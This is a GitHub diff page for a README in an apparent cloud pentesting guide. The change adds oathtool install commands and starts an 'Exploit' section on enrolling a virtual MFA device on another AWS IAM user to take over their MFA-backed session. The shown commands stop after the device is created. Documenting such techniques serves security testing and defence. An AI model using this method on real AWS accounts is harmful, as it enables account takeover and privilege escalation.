You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+26-3Lines changed: 26 additions & 3 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -57,17 +57,40 @@ aws iam delete-access-key --access-key-id <key_id>
57
57
58
58
If you can create a new virtual MFA device and enable it on another user, you can effectively enroll your own MFA for that user and then request an MFA-backed session for their credentials.
59
59
60
+
**Prerequisites:**
61
+
62
+
You can use any tool you want for the TOTP codes - oathtool is easy and lightweight.
63
+
64
+
```bash
65
+
sudo apt install oathtool
66
+
sudo dnf install oathtool
67
+
sudo yum install oathtool
68
+
```
69
+
60
70
**Exploit:**
61
71
62
72
```bash
63
73
# Create a virtual MFA device (this returns the serial and the base32 seed)
64
-
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
74
+
aws iam create-virtual-mfa-device --virtual-mfa-device-name <name-the-device> \
0 commit comments